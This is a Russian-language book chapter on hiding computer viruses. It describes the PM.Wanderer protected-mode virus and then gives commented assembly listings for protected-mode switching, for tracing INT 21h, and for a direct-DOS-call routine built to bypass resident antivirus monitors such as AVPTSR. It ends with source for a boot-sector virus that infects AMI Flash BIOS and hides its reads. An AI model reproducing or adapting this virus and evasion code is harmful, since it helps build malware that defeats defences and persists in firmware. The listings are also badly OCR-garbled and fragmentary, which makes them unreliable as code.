| ||||||||||||||||
| ||||||||||||||||
| ||||||||||||||||
Маскировка вирусов В этой главе рассказано, как может быть спрятан вирус. Описаны методы конструирования прямого обращения к DOS для "обмана" резидентных антивирусных мониторов. Рассмотрены вирусы, заражающие Flash BIOS. Представлены исходные тексты программ с подробными комментариями. Protected Mode - укрытие для вируса Персональные компьютеры год от года становятся все сложнее и сложнее, используют все более высокие аппаратные и программные технологии. Компьютерные вирусы тоже не отстают и пытаются приспособиться к новым условиям обитания. Так, вирусы научились заражать загрузочные сектора дисков, файлы для операционных систем DOS, Windows, Windows 95, OS/2, Linux и даже документы Word, Excel, и MS-Office 97. Скрывая свое присутствие в системе, они стали невидимками, или стелс-вирусами. Они научились быть полиморфными для того, чтобы их распознавание стало еще более трудной задачей для разработчиков антивирусных средств. С появлением процессоров i386 вирусы стали использовать в своем коде 32-разрядные инструкции. В настоящее время полиморфные вирусы используют 32-разрядные расшифровывающие команды в своем декрипторе. Одним словом, вирусы хотят выжить и победить. Для этого они используют все новые возможности, как программные, так и аппаратные. Но защищенный режим работы, появившийся вместе с процессором i286, до недавнего времени вирусам никак не удавалось "приручить". Вернее, были "пробы пера", но реального решения этой задачи они не дали. Загрузочный вирус PMBS, первым пытавшийся освоить защищенный режим (1994 г.), не мог ужиться ни с одной программой или драйвером (EMM386, Windows, OS/2,...), которые также использовали в своей работе защищенный режим. Вирусы Evolution.2761 и Evolution.2770 (тоже 1994 г.) использовали только часть мощного защищенного режима и только в то время, когда процессор работал в реальном режиме. Данные вирусы заменяли реальную таблицу векторов прерываний на собственную. Но вот, похоже, проблема близка к разрешению: в России в "диком" виде обнаружен файловый вирус PM.Wanderer, использующий защищенный режим. Причем он более или менее корректно и стабильно взаимодействует с другими программами и драйверами, также использующими защищенный режим. PM.Wanderer является резидентным полиморфным вирусом, использующим защищенный режим процессоров i386-Pentium. Для установки своей резидентной копии в память и переключения в защищенный режим процессора (Protected Mode) вирусом используется документированный интерфейс VCPI (Virtual Control Program Interface) драйвера расширенной памяти EMS (EMM386). При старте инфицированной программы вирусный полиморфный декриптор расшифровывает основное тело вируса и передает ему управление. Далее основной вирусный код выделяет участок памяти в верхних адресах, копирует в него собственный код и передает ему управление. Затем он восстанавливает код инфицированного файла в программном сегменте (для ЕХЕ-файлов также производит настройку адресов перемещаемых элементов) и приступает к непосредственному внедрению в память своей резидентной копии. . В первую очередь вирус пытается вьыснить, установлен ли в системе драйвер EMS. Если этот драйвер не установлен или вирусная резидентная копия уже находится в памяти, вирус отдает управление программе-вирусоносителю, заканчивая тем самым свою "жизнедеятельность" в системе. Если же "условия среды обитания" благоприятствуют, вирус выполняет ряд подготовительных операций для выделения памяти под свое тело и производит переключение процессора в защищенный режим работы с наивысшим уровнем привилегий - режим супервизора. В защищенном режиме вирус устанавливает две аппаратные контрольные точки на адреса входа в обработчик прерывания INT 21h (функции DOS) и перехода на процедуру перезагрузки компьютера. Кроме того, вирус корректирует дескрипторную таблицу прерываний таким образом, чтобы на прерывания INT 1 (особый случай отладки) и INT 9 (клавиатура) установить собственные дескрипторы обработчиков прерываний. После этих приготовлений вирус копирует свой код в страницу памяти, полученную им еще до входа в защищенный режим, и производит переключение процессора обратно в виртуальный режим работы. Затем он начинает процедуру освобождения ранее выделенной памяти DOS в верхних адресах и возвращает управление инфицированной программе. С этого момента инфицированная программа начинает свою основную работу, а в защищенном режиме оказываются установленными вирусные обработчики - ловушки на INT 1 и прерывания от клавиатуры на INT 9. С их помощью вирус контролирует, во-первых, все вызовы функций DOS, во-вторых, все нажатия клавиш на клавиатуре, и, в-третьих, попытки мягкой перезагрузки компьютера. В свою очередь, такой контроль обеспечивает вирусу возможность как надежно реагировать на ряд интересующих его событий при работе программы, так и постоянно проверять состояние двух своих контрольных точек и при необходимости восстанавливать их. В частности, если вирус обнаруживает, что данный вызов исходит от его "собрата", он просто возвращает некоторое условное значение, играющее роль отзыва "я - свой". Таким образом, вирус, пытавшийся выяснить наличие своей копии в памяти, будет информирован о том, что память уже инфицирована. Если вирус обнаруживает попытку получения адреса прерывания INT 6 (обычно такой вызов существует во всех программах, написанных на языках высокого уровня, например С, Pascal), то он 1"Ъ1тается найти в адресном пространстве некоторую последовательность байт, очевидно принадлежащих программе ADinf, но какой-то старой версии. Кстати, по информации разработчика ADinf Дмитрия Мостового, за последний год в версиях ADinf не содержится такая последовательность. Если данная последовательность вирусом найдена, он определенным образом модифицирует найденный код, чтобы управление не попадало на вызов межсегментной процедуры, демонстрирующей пользователю найденные на диске или в файлах изменения. Если же вирус обнаруживает запрос на запуск программы или открытие файла (только на чтение), то понимает, что наступило время "большой охоты". Вирус копирует свой код в старшие адреса виртуального процесса DOS-машины, переключает процессор в виртуальный режим и отдает управление своему коду (процедуре заражения). В виртуальном режиме вирус проверяет последние две буквы расширения имени файла (ОМ или ХЕ), создает свою полиморфную копию и заражает файлы размером более 4095 байт. Файлы, содержащие в поле значения времени создания 34 секунды, вирус не заражает, считая их уже инфицированными. Корректировку атрибутов файлов вирус не производит, поэтому все файлы, помеченные как "только для чтения", заражены не будут. Также вирус не заражает программы, имя которых состоит из 7 букв. Имена данных программ выяснить не удалось, так как вирус не определяет их имена явно, а подсчитывает CRC имени. Вирус не берет на себя обработку критических ошибок, поэтому при попытке записи на защищенный диск в процессе заражения появится стандартный вопрос DOS (...Retry, Ignore, Fail, Abort). При заражении файлов вирус использует прямой вызов ядра обработчика DOS INT 21h. Адрес этого ядра он выясняет при трассировке INT 21h во время своей установки в память. Вирусный код внедряется в начало СОМ- или в середину ЕХЕ-файла (сразу же после заголовка). Оригинальный программный код запоминается в конце файла. Реальный рабочий код вируса составляет 3684 байт, но на практике инфицированные файлы имеют приращение длины более 3940 байт. В теле вируса содержится текст "WANDERER". Обнаружить резидентную копию данного вируса, находящегося в нулевом кольце защищенного режима процессора, обычными способами невозможно. Для этого необходимо переключаться в защищенный режим с наивысшими привилегиями и производить его поиск. Но попытаться обнаружить признаки вируса в системе можно и обычными способами. После обнаружения вируса рекомендуется, как и всегда в таких случаях, перезагрузиться с системной дискеты и выполнить лечение в заведомо стерильных условиях. Правда, данный вирус не является Stealth-вирусом, и его лечение допустимо даже при активном вирусе. Теперь немного о результатах тестирования. При заражении нескольких тысяч файлов-жертв вирус проявил себя как "жилец" - все зараженные файлы оказались работоспособными. Здесь надо сделать по- правку - файлы могут оказаться неработоспособными в том случае, если их стек после заражения окажется в области вирусного кода. PM.Wanderer при заражении файлов не корректирует значения стартовых SS:SP в ЕХЕ-заголовке. Как уже отмечалось выше, он сохраняет способность к воспроизводству только в том случае, если в системе установлен драйвер EMS (EMM386). При установленном драйвере EMM386 с ключом NOEMS вирус перезагружает компьютер. Перезагрузка также возможна, если в системе используется драйвер QEMM386. Самое интересное, что если в системе находился резидентный вирус, а потом произошла загрузка Windows 3.1 или Windows 95, то вирус не сможет размножаться в данных операционных средах, но при выходе в DOS он опять получает управление и может "трудиться, не покладая рук". Если же вирус будет запущен в DOS-сессии Windows, то из-за отсутствия интерфейса VCPI вирус не сможет переключиться в защищенный режим. При отсутствии VCPI под OS/2 вирус также нежизнеспособен. Возможно, в недалеком будущем компьютерный вирус сможет полностью заменить своим кодом программу-супервизора и сам будет поддерживать интерфейсы DPMI, EMS/VCPI, XMS, INT 15h. Кто знает. Приведенная ниже программа позволяет программисту перевести процессор в защищенный режим. В этом режиме вирус может, например, расшифровать некоторые данные. Данная программа делает следующее: - создает таблицы GDT и LDT,
используя текущие значения - запрещает все прерывания,
открывает линию А20 - переводит процессор в защищенный режим - в первый символ строки qw заносит символ L - выходит в реальный режим - разрешает прерывания, закрывает А20 -т - выводит на экран строку qw ("Light General") - выход в DOS .286 .model tiny Определения для защищенного
режима работы программы desc_struc ENDS ACC_PRESENT equ WOOOOOOb DATA_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR CODE_ACC=ACC_PRESENT or ACC.CSEG or ACC_CONFORM STACK_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR or ;Размеры сегментов (реальные
размеры на единицу больше) DSEG_SIZE=65535 [Смещения используемых
дескрипторов ;Константы значений портов ? .Инициализируем необходимые
данные для перехода call init_protected_mode [Переходим в защищенный
режим ;Теперь компьютер работает в
защищенном режиме! использована в защищенном,
прерывания запрещены! [Печатаем сообщение "Light
General" ;Выходим в DOS [Макрокоманда для установки
адреса для дескриптора mov [desc_struc.base_l][bx],ax mov [desc_struc.base_h][bx],dl •< ; Процедура инициализации
необходимых данных вычисляем абсолютный адрес для
сегмента данных mov ax.ds mov dl.ah shr dl,4 shi ax,4 ;Устанавливаем адрес сегмента
данных mov bx, offset gdt_ds setgdtentry ;Вычисляем абсолютный адрес для
сегмента GDT: прибавляем add ax,offset gdtr adc dl.0 Останавливаем адрес сегмента GDT mov bx.offset gdt_gdt setgdtentry ;Вычисляем абсолютный адрес для
сегмента кода mov ax,cs mov dl.ah shr dl,4 shi ax,4 .Устанавливаем адрес сегмента
кода mov bx, offset gdt_cs setgdtentry [Вычисляем абсолютный адрес для
сегмента стека mov ax.ss mov dl.ah shr dl,4 shi ax,4 Останавливаем адрес сегмента
стека mov bx,offset gdt_ss setgdtentry Перехватываем рестарт. Так как
процессор i286 (а эта программа push ds mov ax,40h mov ds,ax mov word ptr ds:[0067h], offset shutdown_return mov word ptr ds:[0069h],cs pop ds [Запрещаем маскируемые
прерывания in al,INT_MASK_PORT [Запрещаем немаскируемые
прерывания. Данная последовательность [немаскируемого прерывания к процессору mov al,8Fh out CMOS_PORT,al jmp $+2 mov al,5 out CMOS_PORT+1,al ret [Подпрограмма, переводящая
процессор в защищенный режим .Открываем адресную линию А20 для
доступа свыше 1Мбайт. .Сохраняем значение регистра SS
для реального режима [Переводим компилятор Turbo Assembler в
улучшенный режим. ideal р286 [Загружаем регистр глобальной
таблицы дескрипторов GDTR [Переводим процессор в
защищенный режим [Переводим компилятор Turbo Assembler
назад в режим MASM [Производим длинный переход для
того, jmp far flush db OEAh dw offset flush dw CS_DESCR Останавливаем в регистр SS
селектор сегмента стека ;Устанавливаем в регистр DS
селектор сегмента данных .Записываем в строку qw символ "L" и выходим из подпрограммы mov byte ptr ds: [off set qw+2],"L" ret Подпрограмма, возвращающая
процессор в реальный режим [Сохраняем значение регистра SP
для реального режима .Выполняем CPU Reset (рестарт
процессора) ;Ждем, пока процессор
перезапустится hit jmp wait_reset ;C этого места программа
выполняется после перезапуска процессора ;Устанавливаем регистр DS в
соответствии с регистром CS восстанавливаем указатели на
стек mov ss,real_ss mov sp,real_sp [Закрываем адресную линию А20 .Разрешаем немаскируемые
прерывания [Разрешаем маскируемые прерывания in al,INT-MASK_PORT and al,0 out INT_MASK_PORT,al sti ret [Процедура, открывающая адресную линию А20. После открытия [адресной линии программам
будет доступна память свыше 1Мбайт mov al,A20_PORT out STATUS_PORT,al mov al,A20_ON out KBD_PORT_A.al ret [Процедура, закрывающая
адресную линию А20. После закрытия mov al.A20_PORT out STATUS_PORT,al mov al,A20_OFF out KBD_PORT_A,al ret [Здесь сохраняется адрес стека [Эта строка выводится на экран
после работы программы qw db 13,10,"?ight General",13,10,"$" ;Глобальная таблица дескрипторов. Нулевой дескриптор обязательно должен быть "пустым" GDT_BEG=$ gdtr label WORD gdt_0 desc_struc <0,0,0,0,0> gdt_gdt desc_struc <GDT_SIZE-1„,DATA_ACC,0> gdt_ds desc_struc <DSEG_SIZE-1,„DATA_ACC,0> gdt_cs desc_struc <CSEG_SIZE-1„,CODE_ACC,0> gdt_ss desc_struc <STACK_SIZE-1,„DATA_ACC,0> GDT_SIZE=($-GDT_BEG) END start Обход резидентных антивирусных мониторов Обычно все программы используют сервис DOS так: mov ah,... По команде INT управление передается в точку, адрес которой определяется двумя словами, находящимися в таблице векторов прерываний по адресу 0000h:0084h. С этого момента начинается исполнение команд многочисленных обработчиков прерывания INT 21h и не менее многочисленных резидентных программ до тех пор, пока управление, наконец, не получит оригинальный обработчик операционной системы (рис. 5.1.): Разумеется, среди этих многочисленных обработчиков может "затесаться" обработчик, принадлежащий антивирусному монитору, который не дает спокойно работать не только вирусам, но и обычным программам. Поэтому серьезные вирусы и некоторые хорошо написанные программы пытаются определить адрес оригинального обработчика и обратиться к нему напрямую, в обход остальных обработчиков: mov ah,... call dword ptr 021 021 dw ? S21 dw ? Но антивирусные мониторы учитывают эту возможность и принимают свои меры. Определение адреса оригинального обработчика DOS Для того чтобы обратиться к DOS напрямую, нужно знать адрес оригинального обработчика. Получить этот адрес не так просто. Метод трассировки Чаще всего используется метод трассировки при помощи отладочного прерывания INT 1. Суть метода заключается в том, что вирус трассирует прерывание INT 21h (включает флаг трассировки, при этом после каждой команды происходит прерывание INT 1) и проверяет значение сегмента, в котором идет обработка прерывания. Если значение сегмента меньше ОЗООЬ, то это обработчик DOS. Например, так поступал много лет назад вирус Yankee 2C (М2С, Музыкальный). Вот листинг соответствующего фрагмента с комментариями: ;Берем из таблицы векторов
прерываний текущий адрес INT 01 h mov si.bx ;смещение сохраняем в
регистре SI Останавливаем свой обработчик
INT 01h ;Формируем в стеке адрес выхода
из трассировки так, чтобы по IRET pushf push cs mov ax,offset Next push ax ;Начинаем трассировку INT 21 h. Для
этого нужно подготовить стек pushf pop ax or ax,0100h push ax ;Считаем из таблицы векторов
прерываний текущий адрес INT 21 h [Сохраним в стеке сегмент, а
затем и смещение текущего обработчика [Установим в регистре АН номер
какой-либо безобидной функции .Запускаем трассировку [Обработчик INT 01 h ;При вызове обработчика в стеке
находятся: значение регистра IP, [Предварительно сохранив
текущее значение ВР ;Теперь в стеке находятся: ;SS:[BP] - ВР ;Если флаг продолжения выключен,
то выходим из трассировки [Проверяем текущий адрес. Если
сегмент меньше 300h, cmp word ptr [bp+4],300h jnc ExitFromInt [Достигнут DOS - берем из стека
адрес обработчика и сохраняем его mov bx,[bp+2] .Заканчиваем обработку
прерывания и дальнейшую трассировку [Устанавливаем в ноль бит,
соответствующий TF, [Устанавливаем в ноль флаг продолжения mov byte ptr cs:ContinueFlag,0 pop bp .Выходим из обработчика [Восстановление после
трассировки [Сбрасываем флаг продолжения [Восстанавливаем прежнее
значение вектора прерывания INT 01 h В настоящее время этот алгоритм можно считать несколько устаревшим. Дело в том, что современные версии DOS могут размещать свой обработчик в областях верхней памяти. Поэтому условие окончания трассировки должно выглядеть, например, так: cmp word ptr [bp+4],300h cmp word ptr [bp+4],OFOOOh В качестве альтернативного варианта можно использовать такой прием. Сначала определяется исходный сегмент DOS при помощи недокументированной функции 52h прерывания INT 21h (возвращает адрес векторной таблицы связи DOS): mov ah, 52h int 21h mov SegDOS, es Тогда условие завершения трассировки можно оформить следующим образом: push ax mov ax, cs: SegDOS cmp word ptr [bp+6], ax pop ax jz DOSIsGot Разумеется, разные приемы могут дать разные результаты. Причем все результаты можно считать в той или иной мере корректными. Дело в том, что современные версии DOS, даже будучи загруженными в верхнюю память, всегда имеют точку входа в нижней памяти вида: пор [Проверка состояния адресной
линии А20 [Переход в верхнюю память С точки зрения обхода резидентных мониторов "правильным" следует признать адрес в обработчике DOS, имеющий максимальное значение. Мы еще вернемся к вопросу о нахождении "правильного" адреса далее. Авторы антивирусных мониторов знают о подобном приеме поиска оригинального адреса DOS. Достаточно легко испортит трассировку, например, вот такой вот фрагмент, встроенный в цепочку обработчиков: .Вызываем обработчик прерывания
INT 60h (до этого момента ;Сюда нужно вернуться из
прерывания [Сюда реально вернемся, и флаг
трассировки будет сброшен, [Обработчик прерывания. При
вызове прерывания флаг трассировки [Разрешение прерываний, так как
при выходе из обработчика не sti [Увеличиваем на единицу адрес
возврата в стеке [Выходим из прерывания, но не
командой IRET, а командой RETF 2, .флаг трассировки TF) Кроме того, факт трассировки можно достаточно просто обнаружить, применив хорошо известный разработчикам защит от несанкционированного копирования прием аппаратного конвейера, который использует процессор для ускорения работы. При выполнении очередной команды процессор считывает код следующей. Когда придет время выполнения следующей команды, она будет уже считана из памяти, и не нужно будет тратить время на ее чтение. Прием заключается в модификации команд, которые уже оказались в конвейере: если трассировка не ведется, то код команд модифицируется только в памяти, а выполняется та программа, которая находится в конвейере. Если трассировка ведется, то конвейер сбрасывается перед каждой командой трассируемой программы (конвейер сбрасывают такие команды, как JMP, CALL, RET) и выполняется модифицированный код. Кодифицируем следующую команду.
Команда JMP (безусловный Переходим, если выполняется
немодифицированный код (в случае, ;Сюда попадем при выявленном
факте трассировки Трассировка не ведется - нормальное выполнение программы Наконец, последний гвоздь в гроб идеи использования трассировки забит: "Выставленный флаг трассировки можно выявить косвенно, замаскировав аппаратные прерывания, поместив в [SP-1] контрольное значение и дав инструкцию STI. Тогда по изменению слова в стеке можно судить, было трассировочное прерывание или нет". Выявив факт трассировки прерывания DOS, мониторы начинают выдавать об этом соответствующие сообщения, поэтому даже не самый опытный пользователь догадается, что кто-то (например, вирус) пытается попасть в систему. Метод предопределенных адресов Переходим к методу определения оригинального адреса точки входа в DOS, основанному на том, что эти адреса для разных версий и конфигураций DOS имеют в общем случае различные значения, но число их ограничено. А это значит, что их можно просто-напросто выбирать из таблицы (причем не очень большой). Прием не новый, но незаслуженно забытый. Имея программу, основанную на одном из ранее описанных способов определения реального адреса обработчика DOS, загрузочные дискеты с разными версиями DOS и немного терпения, можно получить примерно вот такую информацию. Оригинальный обработчик DOS версии 3.30 всегда имеет вид: .Точка О 891ЕВ800 MOV [ООВ8],ВХ 8С06ВАОО MOV [OOBA],ES .Точка 1 3A26FFOD СМР AH,[ODFF] 80FC64 СМР АН,64 Оригинальные обработчики
DOS версий 5.0-7.0 очень похожи. Фрагмент 1 (если он присутствует) всегда располагается в нижних адресах памяти. Большинство алгоритмов трассировки заканчивают работу, достигнув этой точки. Для DOS версий 5.0-6.22 этот фрагмент присутствует, если в CONFIG.SYS есть строка DOS=HIGH (вне зависимости от того, осуществляется ли запуск поддерживающего эту опцию драйвера HIMEM.SYS). Если драйвера нет, то JMP FAR просто указывает на фрагмент 2, размещающийся в нижних областях памяти. Если строки DOS=HIGH нет, то фрагмент 1 вырожден (состоит из одной команды внутрисегментного перехода), и обработчик состоит из фрагмента 2. ;Точка О 90 МОР 90 NOP E8CCOO CALL CheckA20 2E CS: FF2E6A10J MP FAR NEXTDOS Фрагмент 2 может располагаться как в верхних, так и в нижних адресах памяти. ;Точка 1 FA CLI 80FC50 СМР АН.50 Для DOS 7.0 структура обработчика, в общем, такая же. Исключение - фрагмент 1 присутствует всегда, вне зависимости от содержимого файла CONFIG.SYS. Теперь приведем конкретные значения адресов, полученные для разных случаев: DOS 7.0 (русская версия) Точка О OOC9:OFB2 9090 DOS 6.20 device=himem. sys Точка О 0123:109Е 9090 DOS 6.20 Точка О 0123:109Е ОЗЕВ DOS 6.20 Точка 1 002A:40F8 SOFA DOS 5.0 device=himem. sys Точка О 0123:109Е 9090 DOS 5.0 dos=high sTimes" size="2">Точка О 0123:109Е ОЗЕВ DOS 5.0 Точка 1 002А:40ЕВ 80FA DOS 3.30 Точка О 0070:05DC 892E DOS 3.10 Точка О 0070:OD43 DOS 3.20 Точка 0 0070:17DO Точка 2 является оптимальной, то есть в нее целесообразнее всего передавать управление, чтобы обойти резидентные антивирусные мониторы. Точка 2А - это позиция инструкции INT 2Ah, которую DOS обязательно выполняет в процессе обработки 21-го прерывания. В конце каждой строки приведены контрольные слова - на тот случай, если по указанному адресу находится нечто иное. Борьба с антивирусными мониторами Современные антивирусные мониторы умеют отслеживать факт прямого обращения программ к DOS. Защиту 21-го прерывания можно организовать более эффективно, используя метод встраивания в ядро операционной системы. Общепринятая схема такова: в точку входа прерывания INT 21h записывается инструкция JMP FAR на обработчик, который проверяет номер функции на безопасность. Он восстанавливает оригинальные инструкции в точке входа прерывания и вызывает обработчик INT 21h. После возврата управления из прерывания, в точку входа снова записывается инструкция JMP FAR, и управление передается программе, вызвавшей INT 21h. Здесь описан обычный "сплайсинг" (встраивание), который широко применяется разработчиками вирусов. Отметим, что для перехода не обязательно использовать инструкцию JMP FAR (она занимает 5 байт в памяти и не везде может быть размещена). Вместо нее можно применить INT 3, затратив всего 1 байт. В то же время необходимо обеспечить обработку вызовов с кодами OOh, 4Ch, 31h (они не возвращают управление в исходную точку), а также самовызовов (при завершении процессов посредством INT 27h и INT 20h). Процесс развивается следующим образом. Первый компонент антивирусного монитора встраивается в ядро DOS, а второй - просто перехватывает цепочку 21-го прерывания. Когда программа выполняет инструкцию INT 21h, управление передается второму компоненту. У антивирусных мониторов существует список функций, которые воспринимаются ими как опасные. Они могут сделать проверку на наличие заданной функции в этом списке, затем выставить флаг "проход цепочки" и передать управление дальше. Когда первый компонент получает управление, он проверяет флаг "прохода цепочки". Если он выставлен, то была инструкция INT 21h, поэтому необходимо сбросить флаг "проход цепочки" и передать управление в DOS. Если флаг сброшен, это значит, что был выполнен прямой вызов. В этом случае требуется принимать соответствующие меры против возможных действий вируса. Эта идея исключительно проста и эффективна. В том или ином виде ее применяют почти все современные антивирусные мониторы. Вот один из таких вариантов. После трассировки прерывания выполняется обращение к DOS по оригинальному адресу. Программа AVPTSR перехватывает обращение. Точнее, AVPTSR перехватывает INT 2Ah, причем этот вызов произведен из INT 21h, вблизи начала фрагмента. Обработчик INT 08h, то есть таймера, периодически восстанавливает вектор 2Ah, если он был отключен. Подразумевается, что флаг прохода цепочки 21-го прерывания проверяется в обработчике INT 2Ah. Конструирование неотслеживаемого обращения к DOS Для чего нужно такое конструирование? Неужели антивирусные мониторы настолько бдительны, что пресекают любые попытки открыть для модификации ЕХЕ- или СОМ-файл? Да, это действительно так. Авторы антивирусных мониторов обладают достаточно эффективными средствами, чтобы предотвратить прямые обращения к DOS со стороны вирусов. Обратимся к мнению Ю. Косивцова: "Для обнаружения действия нерезидентных вирусов необходимо контролировать вызов функций DOS с номерами: 3Dh (открытие файла через описатель), OFh (открытие файла через FCB и 5Dh) и подфункцию OOh (косвенный вызов DOS). Если при открытии файла обнаружено, что расширение его СОМ, ЕХЕ или SYS, то можно выдавать предупреждающее сообщение". Список выглядит слишком коротким. Действительно, а что произойдет, если сначала переименовать программный файл? И почему не учтена функция 6Ch (расширенное открытие файла)? А что будет, если открыть файл для чтения, а затем изменить режим доступа прямым обращением к SFT? Конечно же, авторы антивирусных мониторов не столь наивны. Просто они никогда не раскрывают свои профессиональные секреты. Например, авторы программы AVPTSR реально учли и использовали все эти методики и тонкости. Итак, предположим, что гипотетический антивирусный супермонитор: - отслеживает и блокирует попытки трассировки 21-го прерывания; - для контроля "опасных" функций DOS встраивается в начало обработчика прерывания INT 21h; - для предотвращения прямого обращения к DOS использует флаг, сбрасываемый либо во вставленном фрагменте, либо в обработчике прерывания 2Ah (более грамотный подход). Эти действия монитора порождают соответствующие проблемы при конструировании неотслеживаемого обращения к DOS. Первая проблема достаточно просто решается с использованием "метода предопределенных адресов". Для решения второй проблемы стоит проанализировать возможное расположение в обработчике DOS точки перехода на антивирусный монитор. Очевидно, это может быть точка 0 либо точка 1. В самом худшем случае можно допустить, что врезка происходит непосредственно после команды проверки на максимальное значение номера функции. Далее обработчик DOS "растекается" на многочисленные ручейки, поэтому отследить их все крайне затруднительно. По крайней мере, обработчики функций OFh, 3Dh и 5Fh попадают в разные ручейки. Однако, при использовании ограниченного набора функций они могут разместиться и в одном ручейке, что намного упростит решение данной задачи. Функции 3Ch-43h, отвечающие за создание, открытие, закрытие, чтение, запись, атрибуты и перемещение, действительно располагаются в одном общем ручейке. Это позволяет использовать адрес точки 2 для прямого обращения к DOS. Мониторы, скорее всего, не будут отслеживать эту точку. Решение третьей проблемы также не вызовет особых затруднений. Один из вариантов - замаскировать прерывания таймера и изменить вектор 8-го прерывания перед прямым обращением к DOS. Вместо изменения вектора можно попробовать вставить инструкции IRET в начало текущего (антивирусного) обработчика. При использовании все того же метода "предопределенных адресов" и, зная позицию инструкции INT 2Ah в обработчике DOS, перед прямым обращением к DOS следует просто заменить этот вызов двумя командами NOP. Пример реализации Рассмотрим две подпрограммы, которые используются для прямого обращения к DOS. Подпрограмма SetAdr предназначена для определения адреса обработчика DOS методом предопределенных адресов. Для версий DOS, "правильный" адрес которых неизвестен, используется функция DOS 35h (получить вектор прерывания). Подпрограмма CallDOS позволяет обращаться к DOS напрямую. В код включена проверка на номер функции. Для "безопасных" функций предусмотрен обычный вызов DOS при помощи инструкции INT 21h. Процедура установки адреса
(один из самых коротких, [Устанавливаем указатель на
таблицу в регистре SI ;Читаем очередное значение
сегмента и смещения из таблицы mov es,[si] mov bx,[si+2] ; Проверяем контрольный код в
слове, адрес которого получен cmp es:[bx],2ACDh jnz Skip .Сохраняем адрес точки 2А ;Сохраняем адрес точки 2 из таблицы mov ax, [si+4] mov Seg21 ,ax mov ax, [si+6] mov Ofs21 ,ax ret ; Переходим к следующему
элементу таблицы [Проверяем, не закончилась ли таблица. Если таблица закончилась, ;читаем адрес текущего
обработчика прерывания ;Читаем адреса текущего обработчика прерывания INT 21 h - метод ;" предопределенных адресов" не сработал, точка входа не найдена mov ax, 3521h int 21 h mov Ofs21,bx mov Seg21 ,es ret ;Таблица позиций 2А и 2. dw 0 Процедура прямого обращения к DOS ;Если функция безопасна,
вызываем прерывание обычным способом ;3аменяем вызов прерывания 2Ah на
две команды MOP (9090h) push es push ax push bx mov es,cs:Ofs2A mov bx,cs:Seg2A mov ax,es:[bx] mov cs:Save, ax mov es:[bx], 9090h pop bx pop ax pop es ;Вызываем напрямую прерывание DOS ;Восстанавливаем вызов 2Ah mov es,cs:Ofs2A -.Обычное обращение к DOS
(используется для безопасных функций) int 21 h ret ;B этом месте сохраняем значение
для кода вызова INT 2Ah ;0бработчик прерывания DOS ;Адрес вызова INT 2Ah из
обработчика DOS Flash BIOS. Новое место для вирусов Flash-память - энергонезависимая память, которая обеспечивает работоспособность EPROM со встроенной электрической схемой стирания и перепрограммирования. Энергонезависимая память отличается от RAM тем, что она не обнуляется при отсутствии напряжения. Flash BIOS - Flash-память, которая используется для хранения кода BIOS. Она может быть перепрограммирована - это предусмотрено для облегчения обновления BIOS. Такие микросхемы применяются в 90% портативных компьютеров, в большинстве компьютеров 486DX2, 486DX4, Pentium. Как известно, BIOS получает управление при запуске компьютера. Все что нужно сделать вирмейкеру - это незаметно модифицировать BIOS, чтобы вирус стартовал перед загрузкой системы компьютера. AMI Flash вирус Алгоритм работы вируса: 1. Проверить компьютер на наличие Flash BIOS; 2. Проверить Flash BIOS на зараженность (осуществить выход, если она заражена); 3. Считать вектор INT 19h из таблицы (прерывание загрузки); 4. Прочесть первые 5 байт от точки входа INT 19h; 5. Проверить BIOS на наличие свободного места для размещения вируса (поиск области нулей); 6. Установить память Flash BIOS в режим записи (обычно она находится в режиме "Readonly"); 7. Записать вирус в найденную область нулей; 8. Записать переход на вирус в точку входа INT 19h; 9. Восстановить режим "Readonly" для памяти Flash BIOS. Единственное предназначение INT 19h - быть вызванным в процессе загрузки, чтобы загрузить boot-сектор в память и передать ему управление. Прерывание именно то, которое и требуется изменить. Нужно иметь в виду, что одновременно читать из памяти Flash BIOS и записывать в нее нельзя. Поэтому во время работы вируса нельзя использовать временные переменные в этой памяти. Более целесообразным является создание вируса для обычного boot-сектора. Этот вирус следует поместить в конец памяти и оттуда устанавливать вектор INT 13h. AMI BIOS обладает своими специфическими особенностями при размещении в микросхемах Flash-памяти, которые базируются на использовании функции EOh прерывания INT 16h. Самое интересное состоит в том, что однажды внесенный в эту память вирус может запретить повторно использовать указанную функцию. Это запретит антивирусным программам воспользоваться ею в процессе удаления вируса из BIOS компьютера. Исходя из этого, авторам антивирусных программ придется трассировать INT 16h, чтобы получить оригинальный вектор. Исходный текст вируса, заражающего Flash BIOS ;Вирус, заражающий Flash BIOS. ;Если на компьютере есть Flash BIOS,
имеется шанс, что его могут ;При входе в boot-сектор
01=загрузочный диск [Установим OOOOh в регистрах DS и ES .Установим значение стека OOOOh:7COOh mov ss.ax ;Уменьшим на 1Кбайт память
(0040h:0013h) ;Получим размер памяти (при
возврате в АХ) ;Так как размер памяти указан в
килобайтах (1024 байт), а нужно mov cl,6 .Установим новый сегмент вируса
(вершина памяти) .Перенесем вирусный сектор в
вершину памяти ;Сохраним вектор прерывания INT
13h. Поскольку этот вирус работает - работаем с вектором прерывания прямо в таблице mov ax.word ptr [13h*4] mov word ptr es: [off set i13],ax mov ax.word ptr [13h*4+2] mov word ptr es: [offset i 13+2],ax .Установим новый вектор
прерывания INT 13h [Переходим в точку ES:Restart (в копии
вируса, push es mov ax,offset Restart push ax retf ;C этого места программа
работает уже в вершине памяти [Загружаем оригинальный
boot-сектор из конца xor ах.ах call int13h [Подготовим регистры для загрузки оригинального boot-сектора хог ах.ах mov es,ax ;Сегмент для загрузки mov bx,7COOh ;Смещение для загрузки mov cx,0002h Дорожка 0, сектор 2 хог dh.dh ;Головка О mov ax,0201h ;Функция 2, количество секторов 1 [Проверим диск, с которого грузимся. 80h и выше - жесткий диск, ;иначе - дискета. Копия оригинального boot-сектора хранится ;в разных местах: на жестком диске - дорожка 0, головка 0, сектор 2; ;на дискете - дорожка 0, головка 1, сектор 14 cmp dl,80h jae MBR_Loader ;Грузимся с дискеты: изменим
сектор и головку ;3агрузим оригинальный boot-сектор
по адресу OOOOh:7COOh call int13h .Сохраним в стеке номер диска, с
которого грузимся Проверим, заражен ли Flash BIOS ;3аразим Flash BIOS .Восстановим из стека DX (номер
загрузочного диска) pop dx ;3апускаем оригинальный
boot-сектор (JMP FAR OOOOh:7COOh) ;Сюда попадаем, когда происходит
чтение boot-сектора. Скрываем Остановим значения сектора, где
хранится копия оригинального mov cx,02h mov ax,0201h [Проверим, откуда считан
boot-сектор (дискета или жесткий диск), cmp dl,80h jae hd_stealth mov cl,14 mov dh,1 Прочтем копию оригинального
boot-сектора. Так как [Выходим из обработчика
